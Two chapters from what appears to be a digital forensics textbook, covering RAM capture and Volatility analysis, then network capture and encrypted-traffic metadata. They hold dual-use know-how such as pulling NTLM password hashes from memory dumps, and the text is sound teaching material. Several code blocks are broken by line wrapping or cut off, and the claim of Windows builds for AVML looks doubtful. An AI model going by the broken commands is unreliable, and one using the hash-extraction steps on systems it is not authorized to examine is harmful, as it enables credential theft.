In digital forensics, there are two basic types of evidence: data at-rest and data in-transit. Data at-rest is data saved on storage devices like Hard Disk Drives (HDDs) or Solid-State Drives (SSDs). This data remains even when the computer is turned off. Volatile data, on the other hand, is temporary. It exists mainly in *Random Access Memory* (RAM). RAM is the computer's short-term memory or active workspace. Its contents change constantly and are erased when the computer loses power.

The important difference for an investigator is that RAM contains the computer's current operational *state*. The state is a complete picture of what the computer is doing at a specific moment. Think of a disk image as a detailed blueprint of a building. In contrast, a memory image is like a photograph of everything happening inside that building at one specific moment. It shows every running program, every network connection, and every user's actions. This includes active programs, established network connections, user login details, and data that is unencrypted in memory but may be encrypted on the hard disk.

Understanding this difference is essential for modern cybercrime investigations [135].

Real-World Story: The Heartland Payment Systems Breach, The need to analyze volatile memory was clearly shown by the 2009 Heartland Payment Systems data breach, which was one of the largest data thefts ever. Attackers installed special malware on Heartland's servers. This malware was a *RAM-scraper*, a program designed to search through memory for specific information. This malware searched the server's memory to find credit card data. It captured this data while it was being processed in an unencrypted form, called *cleartext*, and then sent it to the attackers. The malware was very hard to detect because it never saved the stolen data to the server's hard disk. Normal forensic methods that only look at the hard disk would not have found the main evidence of the data theft. Only by analyzing the memory could investigators find the malicious programs and understand how the theft worked. In the end, the attackers stole over 130 million credit card numbers [175]. This case proved that memory forensics is a necessary part of responding to security incidents.

9.1.2 The Imperative for Memory Analysis

While disk forensics is still very important, some types of valuable evidence, called *artifacts*, can *only* be found in volatile memory. An attacker might use tools that run only in RAM and never write to the disk. This technique is called *fileless malware*. Capturing and analyzing a memory image is often the only way to find this kind of activity. Key types of evidence found only in RAM include:

- **Running Processes:** A full list of all programs running when the memory was captured. This includes malware that may be disguised to look like a normal system program.
- **Network Connections:** Active and recent network connections (TCP and UDP). These can show the IP addresses of attacker servers, known as *Command and Control (C2)* servers, or the paths used to steal data.
- **Loaded Kernel Modules and Drivers:** Malicious programs called *rootkits* often run with the highest system privileges, at the *kernel level*. The kernel is the core of the operating system. Memory analysis can find hidden drivers that the operating system cannot see.
- **User Credentials:** Login details are often stored temporarily in memory. This includes plaintext passwords (passwords in a readable form), *password hashes* (scrambled versions of passwords, like LM/NTLM), and security keys like *authentication tokens* and *API keys*.
- **Encryption Keys:** If a system uses *Full-Disk Encryption (FDE)*, like BitLocker or VeraCrypt, the keys to unlock the data must be in RAM

while the computer is on. FDE is a technology that encrypts the entire hard drive. Capturing memory gives an investigator a chance to find these keys and decrypt the hard drive.

- **Decrypted File Content:** The contents of files that are encrypted on the disk are often decrypted in memory when an application opens them.
- **Temporary User Activity:** Data that exists for a short time, such as text copied to the clipboard, commands typed into a terminal, and messages from chat programs.
- **Fileless Malware Evidence:** The code, settings, and other evidence of malware that has been injected into a normal program's memory. This type of malware does not have a file on the disk.

9.1.3 The Order of Volatility Revisited

The *Order of Volatility* is a basic principle in forensics. It states that an investigator should collect evidence from the most temporary source to the least temporary source. RAM is the most volatile type of storage, so capturing its contents must be the first step when working on a running computer, which is called a *live response*. Every action on a running system changes the data in RAM, even small actions like moving the mouse or typing a command. Running a program to capture memory will always overwrite some of the existing data in RAM. The goal is to use a tool that has a small *footprint*, meaning it uses very little memory itself. This reduces the changes made to the RAM and saves as much of the original system state as possible [47].

9.2 The Memory Acquisition Toolkit

9.2.1 Guiding Principles of Acquisition

The main goal of memory acquisition is to make an exact, *bit-for-bit copy* of the physical RAM. A bit-for-bit copy is a perfect duplicate of the original data. This copy must also be *forensically sound*, meaning its collection process is documented and can be defended in court. This copy is usually called a *memory dump* or *memory image*, and it is saved as one file. Investigators can then analyze this file later on a different computer (*offline analysis*). The process must follow two main principles:

(1) **Use Trusted Tools:** The tools used to capture memory must be tested and reliable. You should run them from a clean external drive that has *write-protection*. Write-protection prevents any data from being written to the drive, which protects the tools from being changed and stops accidental changes to the computer being examined.

(2) **Minimize Footprint:** A tool for capturing memory will always use some RAM to run. A good tool is designed to use as little RAM as possible to reduce its effect on the system. For this reason, tools with a command-line interface are often better than tools with a graphical user interface (GUI) because they use less memory.

9.2.2 Standard Acquisition Tools

Many reliable tools are available to capture memory from different operating systems. It is important for an investigator to have multiple tools, because one tool might not work on a system where another one will.

- **Windows:**
  - **Belkasoft RAM Capturer:** A free, trusted tool known for using very little memory. It works with all modern 32-bit and 64-bit Windows versions. It is a simple program that you can run from the command line [15].
  - **FTK Imager Lite:** Part of a popular forensic software package from AccessData/Exterro. FTK Imager has a strong and reliable function for capturing memory. It is also free and commonly used by companies and police [70].
  - **DumpIt:** A simple, fast, and effective command-line tool for capturing memory. It was first created by MoonSols and is now managed by Volexity [224].
- **Linux: LiME (Linux Memory Extractor)** is the most common tool for Linux. It works as a *loadable kernel module*, which is a piece of code that can be added to the running Linux kernel. This allows LiME to copy memory with very little disturbance to the system's running programs [197].
- **macOS:** Tools such as **MacPmem** or **OSXPMem**, part of the Rekall memory forensics framework, are used for macOS systems.

9.2.3 The Acquisition Procedure

The following steps describe a standard, forensically sound method for capturing physical memory from a running Windows computer.

Algorithmic Breakdown: Memory Capture

(1) **Prepare equipment:** Connect a clean, write-protected external drive to the target machine. Place your trusted capture and hashing tools on that drive. Recommended cross-platform capture tool: `avml` (Microsoft AVML) which has builds for Windows and Linux. If `avml` is unavailable, use the platform-specific capture tool shown below.

(2) **Obtain elevated privileges:** Ensure you have the highest available privileges on the target system before acquisition.

- **Windows:** Open an Administrator command prompt or an elevated PowerShell session (right-click `cmd.exe` / `powershell.exe` → Run as administrator).
- **Linux:** Become `root` or prefix commands with `sudo`.

(3) **Change to the tool location on the external drive:** Always run the capture from the external drive and write the output to the external drive.

```
% Windows (example)
E:\> cd \Tools

# Linux (example)
$ cd /media/external/Tools
```

(4) **Run the capture:** Use a cross-platform tool if available; otherwise use the platform native utility.
Recommended (cross-platform — AVML):

```
# Windows (elevated)
E:\Tools\avml.exe E:\Evidence\memdump.raw

# Linux (root)
$ /media/external/Tools/avml /media/external/Evidence/memdump.raw
```

Platform alternatives:

```
# Windows alternative (example: winpmem or DumpIt)
E:\Tools\winpmem.exe --output E:\Evidence\memdump.raw

# Linux alternative (example: dd or LiME frontends - use with care)
$ sudo dd if=/dev/mem of=/media/external/Evidence/memdump.raw bs=1M status=progress
```

Important: write the image directly to the external drive (do *not* save to the target system's primary internal disk).

(5) **Document the process:** Record the exact UTC timestamps (start and finish), the full command line used, the tool version, the external drive identifier/serial (if available), and any console output shown by the tool. Keep screenshots or redirected logs when possible:

```
# Example: redirect stdout/stderr to a log file on the external drive
E:\Tools\avml.exe E:\Evidence\memdump.raw > E:\Evidence\avml_run.log 2>&1
$ sudo /media/external/Tools/avml /media/external/Evidence/memdump.raw > /media/ext
```

(6) **Create cryptographic hashes:** Immediately after capture, compute hashes of the memory image to preserve integrity. Compute and record at least one strong hash (SHA-256 recommended); optionally also compute MD5 and SHA-1 if required by your lab policy.

```
# Linux (common)
$ sha256sum /media/external/Evidence/memdump.raw
# Output example:
# A1B2C3D4E5F6...[hex]...7890  /media/external/Evidence/memdump.raw

# Windows (native): using certutil
E:\> certutil -hashfile E:\Evidence\memdump.raw SHA256
# Output example:
# SHA256 hash of file E:\Evidence\memdump.raw:
# a1 b2 c3 d4 ... 78 90
# CertUtil: -hashfile command completed successfully.

# Windows (PowerShell alternative)
PS C:\> Get-FileHash -Algorithm SHA256 E:\Evidence\memdump.raw
# Algorithm       Hash
# ---------       ----
# SHA256          A1B2C3D4E5F6...[hex]...7890
```

If you prefer a consistent command on both platforms and have `sha256sum` available on Windows (e.g., via Git for Windows / GNU coreutils build), you can use the same `sha256sum` command on both hosts.

9.3 Initial Triage with The Volatility Framework

9.3.1 Introducing the Volatility Framework

The Volatility Framework is a free, open-source tool that is the industry standard for analyzing memory dumps [209]. It analyzes the raw memory image by using its knowledge of how an operating system organizes data internally. This allows Volatility to understand the data and rebuild information like process lists, network connections, and loaded drivers.

There is an important difference between the older **Volatility 2** and the newer **Volatility 3**. With Volatility 2, the user had to manually provide a *profile*. A profile is a set of information that matches the exact operating system version and service pack of the memory dump. Volatility 3 makes this process

automatic. It uses *symbol packs*, which are pre-compiled collections of OS data, to identify the system. This makes the first analysis much faster and more reliable. This chapter will focus on commands for the modern Volatility 3.

9.3.2 Establishing a Baseline

The first step in memory analysis is to identify the operating system of the computer where the memory dump was created. This confirms that the memory image is usable and tells you which analysis plugins you can use.

Practical Demo: Getting Image Information, The 'windows.info.Info' plugin gives a summary of the memory image. This summary includes the OS version, hardware type (x86 or x64), and the date and time of the capture. This is a required first step.

```
$ python3 vol.py -f memory_dump.raw windows.info.Info

Volatility 3 Framework 2.x.x
...
Variable        Value
OS              Windows 10 Enterprise
System Type     X64
...
SystemTime      2023-10-27 18:30:15 UTC+0000
```

9.3.3 Analyzing Processes and Modules

After you identify the OS, the next step is to find out what programs were running on the system.

- **'pslist':** This plugin lists all active processes from the time of the memory capture. The output is similar to the Windows Task Manager. It shows the Process ID (PID), Parent Process ID (PPID), program name, and start time.
- **'pstree':** This plugin shows the processes in a tree format, which displays parent-child relationships. This is very useful for finding unusual activity. For example, a normal system process like 'svchost.exe' should be a child of 'services.exe'. If 'pstree' shows that 'explorer.exe' started 'svchost.exe', this is a strong sign of malware.
- **'dlllist':** This plugin lists all the *Dynamic-Link Libraries (DLLs)* that each process has loaded. A DLL is a library of code that multiple programs can use. Malware often hides by injecting a malicious DLL into a normal process (like 'explorer.exe' or 'svchost.exe'). This plugin can find these hidden DLLs.

9.3.4 Investigating Network Activity

Finding network connections is very important for tracing the attacker's servers and tools.

- **'netscan' (Volatility 3) / 'netstat' (Volatility 2):** This plugin rebuilds information about network connections (TCP and UDP) and open ports from the memory data. The output shows the local and remote IP addresses and ports, the program that created the connection, and the connection status (for example, ESTABLISHED, LISTEN, CLOSE_WAIT). This is often one of the fastest ways to find evidence of a connection to a C2 server.

9.4 Advanced Malware Detection in Memory

9.4.1 Finding Hidden Processes

Advanced malware and rootkits often hide themselves from the operating system. They can do this by removing their process from the kernel's list of active processes. A tool like 'pslist' will not see the process, but the process still exists and runs in memory.

- **'psscan':** This plugin does not use the OS process list. Instead, it scans all of the memory directly. It looks for the specific data pattern of an '_EPROCESS' structure. The '_EPROCESS' structure is the object the kernel uses to manage a process.

Algorithmic Breakdown: How 'psscan' Finds Hidden Processes

(1) The operating system kernel uses a specific data structure, a *doubly-linked list*, to keep track of all active '_EPROCESS' objects. The 'pslist' plugin works by reading this list.

(2) Malware can change the pointers in this list to remove its own process block. This makes the malware's process invisible to tools like 'pslist' and the Windows Task Manager.

(3) The 'psscan' plugin does not use the linked list. Instead, it scans all of physical memory. It looks for the unique data pattern (called a *pool tag*) that marks the start of an '_EPROCESS' block.

(4) It then compares its results with the 'pslist' output. Any process found by 'psscan' but not by 'pslist' is a hidden process. You should view any hidden process as very suspicious.

9.4.2 Identifying Code Injection

Malware often injects its code into the memory of normal programs to avoid being detected. Volatility provides powerful plugins to find this activity.

- **'malfind':** This is a very powerful plugin for finding malware. It scans a process's memory for areas that have suspicious permissions, especially 'Read-Write-Execute' (RWX). Normally, program code has 'Read-Execute' permission, and data has 'Read-Write' permission. A memory region that is both writable and executable is a strong sign of injected code. 'malfind' finds these sections and saves their contents so you can analyze them.

> **Practical Demo: Using 'malfind',** `$ python3 vol.py -f memdump.raw windows.malfind.Malfind > malfind_output.txt`

- **'ldrmodules':** A common malware technique is to load a malicious DLL and then remove it from the list of loaded modules in the *Process Environment Block (PEB)*. The PEB is a data structure that stores information about a process. This action hides the DLL from plugins like 'dlllist'. The 'ldrmodules' plugin is designed to find this kind of inconsistency. It can find hidden DLLs that other plugins cannot.

9.4.3 Leveraging Yara for Custom Scans

Yara is a tool used to find and classify malware using custom rules. These rules look for specific text or binary patterns to identify different types of malware.

- **'yarascan':** Volatility includes Yara, which lets an investigator scan the full memory image or a specific process's memory using custom Yara rules. This is very useful for searching for known malware signatures, text connected to a certain attacker's tools, or unique patterns found during an investigation [4].

9.5 Recovering System and User Artifacts

9.5.1 Extracting Command and Console History

Finding out which commands an attacker typed can be a major discovery in an investigation.

- **'cmdscan' / 'consoles':** These plugins scan memory for data related to the Windows command shell ('cmd.exe') and the console window ('conhost.exe'). They can recover the history of typed commands, showing exactly what the attacker did. They can also recover the output of those commands if it is still in the memory used by the console.

9.5.2 Recovering Temporary User Data

- **‘clipboard‘:** This plugin tries to recover the contents of the Windows clipboard from the time of the memory capture. The clipboard can contain very useful data, like passwords, usernames, copied text, or instructions from a C2 server.
- **‘screenshot‘:** On systems with a graphical user interface (GUI), this plugin can rebuild a rough image of the computer's desktop screen. It does this by finding and connecting pieces of the user interface stored in memory. This gives powerful and immediate information about what the user was doing.

9.5.3 Dumping Files from Memory

Sometimes, malware programs or their configuration files only exist in memory. Volatility allows you to extract and save them.

- **‘filescan‘:** This plugin scans the memory dump for ‘_FILE_OBJECT‘ structures. These structures show which files were open or recently used by the operating system.
- **‘dumpfiles‘:** This plugin uses the physical memory address found by ‘filescan‘. It then extracts the complete file from the memory dump and saves it to a disk. The investigator can then analyze this file with other tools, like antivirus software or static analysis programs.

Practical Demo: Dumping a File from Memory, First, use ‘filescan‘ to find the file you want to extract. Then, use the physical address from the ‘filescan‘ output with the ‘dumpfiles‘ plugin.

```
   $ python3 vol.py -f mem.raw windows.filescan.FileScan | grep
evil.exe
$ python3 vol.py -f mem.raw windows.dumpfiles.DumpFiles --physaddr
0x1a2b3c4d
```

9.5.4 Accessing the Registry and Credentials

- **‘hivelist‘:** The Windows Registry is a database of settings for the operating system. It is loaded into memory in sections called *hives*. This plugin finds the memory addresses of these loaded hives, such as the SAM, SYSTEM, and SOFTWARE hives.
- **‘hashdump‘:** This plugin uses the information from ‘hivelist‘. After it finds the location of the SAM and SYSTEM hives in memory, it can read them directly to extract the LM and NTLM password hashes for all local user accounts. This avoids the need to get the files from the disk. Attackers often use this technique to gain higher permissions (*privilege escalation*) or move to other computers on the network (*lateral movement*).

9.6 Analyzing Memory-Adjacent Artifacts

Besides the main memory image, several files on the disk are closely related to RAM. These files can provide similar types of forensic evidence.

9.6.1 The Pagefile (‘pagefile.sys‘)

The *pagefile* (‘pagefile.sys‘) is a file on the hard disk that Windows uses as extra RAM. This is also called *virtual memory*. When the physical RAM is full, the operating system moves sections of memory that are not being used often, called *pages*, to the ‘pagefile.sys‘ file. Because of this, the pagefile can contain pieces of any data that was previously in RAM. This can include passwords, encryption keys, program data, and other information. The data in the pagefile is not as organized as a full memory dump. However, you can still find important evidence by using tools like ‘strings‘ or ‘bulk_extractor‘ to search through it.

9.6.2 The Hibernation File (‘hiberfil.sys‘)

When a Windows computer goes into hibernation, it saves all the data from physical RAM into a file on the disk called ‘hiberfil.sys‘. It does this right before it powers off. This file is basically a full memory dump that has been compressed. If you find a computer that is hibernating, or if you find a ‘hiberfil.sys‘ file on a disk image, you can analyze it with Volatility just like a normal memory image [135]. This file gives you a perfect snapshot of the computer's state at the time it went into hibernation.

Practical Demo: Analyzing a Hibernation File, You can use Volatility to analyze a hibernation file directly. The framework automatically uncompresses the file and prepares it for analysis.

```
   $ python3 vol.py -f C:
evidence
hiberfil.sys windows.pslist.PsList
```

9.6.3 Crash Dumps (‘.dmp‘)

When a computer has a serious error (often called a ”Blue Screen of Death”), or when a program crashes, Windows might create a *crash dump file* (with a ‘.dmp‘ extension). These dump files can be small, containing only some parts of memory (a *minidump*), or they can be a full dump of the kernel's memory. These files are created to help developers fix problems, but they are also very useful for forensic analysis because malware might have caused the crash. Volatility can analyze these dump files to see what the system was doing at the exact moment of the crash.

Conclusion

In this chapter, we learned the key steps of memory forensics: how to capture a complete memory image and how to use the Volatility framework to analyze it. You learned to find critical evidence like hidden processes, network connections, and user passwords. An investigator uses these skills to uncover fileless malware and see exactly what an attacker was doing on a computer. In the next chapter, we will use these skills to investigate the specific artifacts left behind by the Windows operating system.

Acronyms and Terminology

API Key A unique code that allows a program to securely access a specific application or service.

Artifacts Traces or pieces of evidence left behind on a computer system as a result of user or program activity.

Authentication Token A piece of data that proves a user's identity, allowing them to access a system or service without needing to re-enter a password.

AVML Acquire Volatile Memory for Linux/Windows. A cross-platform tool developed by Microsoft for capturing the live memory (RAM) of a computer.

Bit-for-bit copy An exact duplicate of a digital storage medium, where every single bit of data is replicated identically.

C2 (Command and Control) A server controlled by an attacker used to send commands to infected computers and receive stolen data from them.

Cleartext Information, such as a password or credit card number, that is in its original, unencrypted, and human-readable format.

Code Injection A malicious technique where an attacker inserts their own code into the memory of a legitimate running program to hide their activity.

Crash Dump (.dmp) A file created by the operating system when a program or the system itself crashes. It contains a snapshot of memory at the time of the crash.

Cryptographic Hash A unique, fixed-size digital fingerprint generated from a piece of data. It is used to verify the integrity of the data, ensuring it has not been altered.

DLL (Dynamic-Link Library) A file containing a library of code and functions that can be shared and used by multiple programs simultaneously.

FDE (Full-Disk Encryption) A security method that encrypts all data on a hard drive, making it unreadable without the correct decryption key.

Fileless Malware A type of malicious software that exists only in a computer's volatile memory (RAM) and never writes itself to the hard drive, making it very difficult to detect.

Footprint (Tool) The amount of system resources, especially memory, that a program consumes while running. Forensic tools should have a minimal footprint to avoid altering evidence.

Forensically Sound A term describing a method of handling digital evidence that is documented, repeatable, and legally defensible in court.

GUI (Graphical User Interface) A visual interface for interacting with a computer, using elements like windows, icons, and pointers, as opposed to text-based commands.

HDD (Hard Disk Drive) A traditional data storage device that uses magnetic platters to store data long-term.

Hibernation File (hiberfil.sys) A file on a Windows system's hard drive that stores a complete copy of the computer's RAM just before it enters hibernation mode.

Kernel The central, core component of an operating system that has complete control over the system's hardware and software.

Lateral Movement The process an attacker uses to move from one compromised computer to other computers within the same network.

LiME (Linux Memory Extractor) A popular tool for capturing RAM from a live Linux system, which operates as a loadable kernel module.

Live Response The process of investigating a computer while it is still running, which is necessary for capturing volatile data like RAM.

LM/NTLM Hash Specific types of password hashes created and used by Microsoft Windows operating systems for storing user passwords securely.

Loadable Kernel Module (LKM) A piece of code that can be dynamically loaded into the running kernel of an operating system to extend its functionality.

Memory Dump / Memory Image A complete, bit-for-bit copy of a computer's RAM, saved as a single file for offline forensic analysis.

Minidump A type of crash dump file that contains only a small subset of memory information, intended for basic debugging.

Order of Volatility The forensic principle that dictates evidence should be collected from the most temporary (e.g., RAM) to the most permanent (e.g., hard drives) sources.

Pagefile (pagefile.sys) A file on a Windows hard drive used as virtual memory to supplement physical RAM when it becomes full.

Password Hash A scrambled, one-way representation of a password created by a cryptographic algorithm, used to store passwords securely.

PEB (Process Environment Block) A data structure within the Windows operating system that stores information about a specific running process.

PID (Process ID) A unique identification number assigned by the operating system to each individual process currently running.

Pool Tag A four-character code used by the Windows kernel to label allocated memory blocks, helping to identify their purpose.

PPID (Parent Process ID) The Process ID of the process that launched another process, used to establish parent-child relationships between programs.

Privilege Escalation The act of an attacker gaining higher-level permissions on a system than they were originally granted.

Profile (Volatility) A collection of system-specific information (like OS version and service pack) required by the older Volatility 2 framework to correctly analyze a memory dump.

RAM (Random Access Memory) The computer's temporary, high-speed workspace that stores data for actively running programs. Its contents are lost when power is removed.

RAM-scraper A type of malware specifically designed to search a computer's memory to find and steal sensitive data, like credit card numbers.

Registry Hive A logical section of the Windows Registry, the central database for system and application settings, which is loaded into memory when the system is running.

Rootkit A type of stealthy malware designed to hide its presence on a system while giving an attacker high-level, privileged access.

RWX (Read-Write-Execute) A set of permissions for a region of memory. Memory that is simultaneously readable, writable, and executable is a strong indicator of injected malicious code.

SHA-256/SHA-1/MD5 Acronyms for different cryptographic hash algorithms used to create digital fingerprints of files to verify their integrity.

SSD (Solid-State Drive) A modern data storage device that uses flash-based memory for long-term data storage, offering faster performance than HDDs.

State (Computer) A complete snapshot of a computer's condition at a specific point in time, including all running programs, open files, network connections, and user activity.

Symbol Packs (Volatility) Collections of operating system data used by the modern Volatility 3 framework to automatically identify the OS of a memory dump, replacing the need for manual profiles.

Virtual Memory A memory management technique where a portion of the hard drive (like the pagefile) is used as an extension of the physical RAM.

Volatility Framework A powerful, open-source set of tools that is the industry standard for analyzing memory dumps to extract forensic evidence.

Write-protection A hardware or software mechanism that prevents data from being written to or modified on a storage device, used to protect evidence integrity.

Yara A tool for identifying and classifying malware by creating custom rules that search for specific text or binary patterns within files or memory.

Chapter 10

Network Forensics and Encrypted Traffic Analysis

Introduction

To understand a cyber attack, investigators must analyze network traffic. This chapter teaches you how to capture and examine the data that moves between computers to find evidence of malicious activity. We will cover the tools used to capture traffic, how to analyze it with Wireshark, and how to find clues even when the traffic is encrypted.

10.1 Principles of Network Forensics

10.1.1 Defining Network Forensics

Network forensics is a part of digital forensics. It focuses on monitoring, capturing, storing, and analyzing network activity. The goal is to find the source of security problems, attacks, or other computer crimes [33]. Its main goal is to provide evidence of actions on the network. For example, it can identify a *compromised host*, which is a computer that an attacker has gained control of. It can also track an attacker's *lateral movement*, which is when an attacker moves from one computer to another inside the same network. Finally, it can prove that data was stolen (exfiltrated) and sent to a specific external address.

10.1.2 Key Evidence Sources

An investigator uses several different sources of network data. Each source has advantages and disadvantages related to its level of detail and the resources needed to collect it.

Full Packet Capture (PCAP): This is often called the "ground truth," meaning it is the most complete and accurate record of what happened. A *full packet capture*, usually stored in a PCAP file, is a complete, bit-for-bit recording of all traffic that traveled over a part of the network. It provides the highest level of detail. If data was sent on the network, it can be analyzed, put back together, and have files extracted from it. The main disadvantage is that it requires a very large amount of storage space and powerful computers to process. Capturing all traffic on a fast network can create terabytes of data every day. Because of this, it is often difficult to store this data for a long time.

Network Flow Data (NetFlow/IPFIX): Flow data is *metadata*, which is data that describes other data, about network communications. It is like a telephone bill. It shows which computers communicated, when they communicated, for how long, and how much data they sent. However, it does not show the actual content of the communication. Common formats are NetFlow, created by Cisco, and its industry-standard successor, IPFIX (IP Flow Information Export). Flow data usually includes the source and destination IP addresses, ports, protocol type, timestamps, and the amount of data sent (byte and packet counts). Because this data is very compact, it is easy to store and analyze large amounts of it. This makes it perfect for studying long-term trends, establishing a *baseline* (a measurement of what is normal) of network activity, and finding unusual patterns over many weeks or months.

Infrastructure Logs: Logs from network devices are another important source of evidence that provides context. Logs from firewalls, proxies, Intrusion Detection/Prevention Systems (IDS/IPS), and Domain Name System (DNS) servers give a filtered summary of network activity. A firewall log shows all connection attempts that were allowed or blocked. A proxy log can show details about web browsing. An IDS alert can identify a specific pattern, called a *signature*, that is known to be malicious. These logs are very important for connecting high-level events (like an alert) with the low-level data found in packets.

10.1.3 Legal and Ethical Frameworks

Network forensics must follow complex laws and rules. It is important to understand the difference between capturing *metadata* (like flow records) and capturing *content* (the actual data inside the packets). Laws like the U.S. Wiretap Act, and similar privacy laws around the world, strictly forbid capturing communication content without legal permission, like a warrant [221]. In the European Union, the General Data Protection Regulation (GDPR) sets strict rules for handling personal data. This data can include IP addresses and other network information. An investigator must have a clear legal reason to capture and analyze this data. All network forensic work must be done with clear permission. The work must also follow a defined plan and a set of rules. This

ensures that the evidence can be used in court and that privacy laws are not broken.

10.2 Capturing and Filtering Network Traffic

10.2.1 Introduction to Command-Line Capture

While graphical tools like Wireshark are very useful for analysis, it is often better to capture the initial traffic using simple and powerful command-line tools. These tools can be used on servers or network devices that do not have a graphical user interface (GUI). They can also be used in scripts to collect data automatically. The industry standard tools are `tcpdump` for Linux and macOS, and its variation, `WinDump`, for Windows.

10.2.2 Practical Capture with tcpdump

`tcpdump` is the most essential tool for capturing packets. Its basic commands are simple, but its real power is its ability to filter traffic. It uses a special format called *Berkeley Packet Filter (BPF) syntax* for this. BPF syntax is a language used to create rules for selecting specific network packets. BPF lets an investigator create very specific rules to decide which traffic to capture. This gets rid of data that is not needed and makes the final output file much smaller.

The core syntax is: `tcpdump -i [interface] -w [output_file.pcap] [filter_expression]`

- `-i`: Specifies the network device to listen on (e.g., `eth0`, `enp0s3`).
- `-w`: Writes the raw packets to a file instead of printing them to the screen.
- `filter_expression`: The BPF filter to select specific traffic.

Practical Demo, To capture all web traffic to and from the host `192.168.1.10` on port 80 and save it to a file, the command would be:

```
tcpdump -i eth0 host 192.168.1.10 and port 80 -w
    http_traffic.pcap
```

This command tells `tcpdump` to listen on the `eth0` network device. It will only capture packets where the source or destination IP is `192.168.1.10` AND the source or destination port is 80. The captured packets are then saved to the file named `http_traffic.pcap` [206].

10.2.3 Initial Triage with TShark

TShark is the command-line tool that is the core of Wireshark. It is very useful for running automated analysis on large PCAP files. It can also extract specific information from these files without needing to open them in the graphical Wireshark program, which can be slow.

Practical Demo, For example, an investigator can use TShark to quickly get a list of all unique domain names that a computer has looked up in a capture file. This can be done with a single TShark command. The `-Y` option applies a filter to the display. The `-T fields` and `-e` options are used to choose which specific pieces of information to show.

```
tshark -r suspicious.pcap -Y "dns.flags.response == 0"
   -T fields -e dns.qry.name | sort -u
```

This command reads the `suspicious.pcap` file. It filters the data to show only DNS requests (`dns.flags.response == 0`). It then extracts just the domain name that was requested (`dns.qry.name`). Finally, it sends this output to standard Linux tools which sort the list and remove duplicates to show only the unique names [211].

10.3 Practical PCAP Analysis with Wireshark

10.3.1 Mastering the Wireshark Interface

Wireshark is the industry standard tool for manual packet analysis. Its interface is divided into three main windows:

- **Packet List:** A summary of each packet in the capture, with columns for time, source, destination, protocol, and info that you can sort.
- **Packet Details:** A detailed view of the selected packet, which lets the user inspect each protocol layer (e.g., Frame, Ethernet, IP, TCP, HTTP).
- **Packet Bytes:** A view of the raw packet data in hexadecimal and ASCII format.

An important idea to understand is the difference between *capture filters* and *display filters*. Capture filters (which use BPF syntax, like in `tcpdump`) are used before the capture starts. They permanently throw away any packets that do not match the filter. Display filters (which use Wireshark's own format) are used on an existing capture file. They do not delete any data; they only hide packets you do not want to see. This helps an investigator focus on specific communications.

One of Wireshark's most powerful features is `Follow -> TCP/UDP/HTTP Stream`. If you right-click a packet from a conversation and choose this option, a new window will open. This window shows the entire conversation put back together in a way that is easy to read. It removes the protocol information (headers) so you only see the data.

10.3.2 Analyzing Common Protocols

DNS: Look for suspicious DNS requests. For example, is a computer trying to connect to domain names that are known to be used by malware for

command and control (C2)? A C2 server is a computer controlled by an attacker to send commands to infected systems. Also, look for requests for unusual types of DNS records. For example, TXT records can be used to steal data or receive commands from an attacker.

HTTP: For traffic that is not encrypted, Wireshark can show everything. Usernames and passwords sent using HTTP Basic Authentication can be seen as plain text. Files that were downloaded can be found and saved. An investigator can see exactly what a user saw and did on a website.

SMB/CIFS: The Server Message Block (SMB) protocol is used for file sharing in Windows networks. It is often used by attackers for lateral movement. An investigator can filter for SMB traffic to find unauthorized access to shared folders. They can also identify when an attacker is exploring the network (reconnaissance), such as listing all available shares. Finally, they can find attempts to run malicious files on other computers.

10.3.3 Carving Files from Network Streams

File carving is the process of extracting a file from a larger set of data. In network forensics, this means extracting files from a PCAP file. For protocols that are not encrypted, like HTTP, FTP, or SMB, Wireshark has a simple tool for this: `File -> Export Objects`. This tool analyzes the capture file and shows a list of all the files it found. You can then save these files to your computer for more analysis, like scanning them for malware. If a protocol is not supported by this tool, you can still extract files manually.

Algorithmic Breakdown: Manual File Carving from a TCP Stream

(1) Use a display filter to select the complete TCP conversation that includes the file transfer.

(2) Find the first packet that has the file's data. For an HTTP transfer, this is usually the first packet after the server sends the "200 OK" response.

(3) In the Packet Details window, open the protocol layers until you find the raw data. This part is often called the payload. Right-click on the payload and choose "Show Packet Bytes."

(4) Select the raw data from this packet. Then, select the raw data from all the following packets in the same communication stream.

(5) Combine the raw data from all the packets in the correct order. This is very important because TCP packets can arrive in the wrong order. The "Follow TCP Stream" feature in Wireshark does this for you automatically.

(6) Save the combined data as a file. Use the correct file extension, like `.exe`, `.jpg`, or `.pdf`.

(7) Check that the file is not corrupt. You can do this by looking at its *magic number*. The magic number is the first few bytes of a file that identify the file type, also known as a file signature. You can compare this magic number to a list of known file signatures to confirm the file is the type you think it is [158].

10.4 Navigating Modern Encryption

Most network traffic today is encrypted with *Transport Layer Security (TLS)*. TLS is a protocol that provides secure communication over a network. This is very good for privacy and security, but it is a major challenge for investigators. It is impossible to decrypt captured TLS traffic without the *session keys*, which are secret keys used for only one communication session. However, investigators can still get a lot of useful forensic information from the unencrypted metadata that is part of the TLS communication.

10.4.1 The TLS Handshake Demystified

The *TLS handshake* is the process where a client and a server agree on settings to create a secure connection. For a forensic investigator, the most important part is that the first few messages of this handshake are sent as plain text:

- **Client Hello:** This is the first message from the client. It tells the server what TLS features it can use, for example, which *cipher suites* it supports. A cipher suite is a set of algorithms used to secure the connection.
- **Server Hello:** This is the server's answer. It chooses a cipher suite from the client's list and sends its *digital certificate*. A digital certificate is an electronic document used to prove the identity of the server.
- **Certificate Exchange:** The server sends its public key certificate to the client. The client checks the certificate to make sure it is valid.

After these first steps, the client and server create secret session keys. All the application data sent after this point is encrypted. The investigator's chance to find information is by analyzing the metadata that can be seen before the encryption starts.

10.4.2 Extracting Intelligence from Encrypted Metadata

Server Name Indication (SNI): This is one of the most important pieces of metadata for modern network forensics. *Server Name Indication (SNI)* is a TLS extension. It allows the client to tell the server which website (hostname) it wants to connect to. This information is sent in plain text inside the Client Hello message. This is useful when one server with a single IP address hosts many websites, as it helps the server show the

correct certificate. For an investigator, the SNI information shows the destination website of an encrypted connection, even when the content of the communication is hidden.

Certificate Analysis: The server's certificate is sent as plain text during the handshake. It contains a lot of useful information. An investigator can check who issued the certificate (the issuer), such as Let's Encrypt or GoDaddy. They can also check the certificate's valid dates and the names it was issued for. A *self-signed certificate*, which is a certificate created by the server owner instead of a trusted authority, can be a sign of suspicious activity. Certificates that are self-signed or have unusual issuer information are often signs of malicious activity.

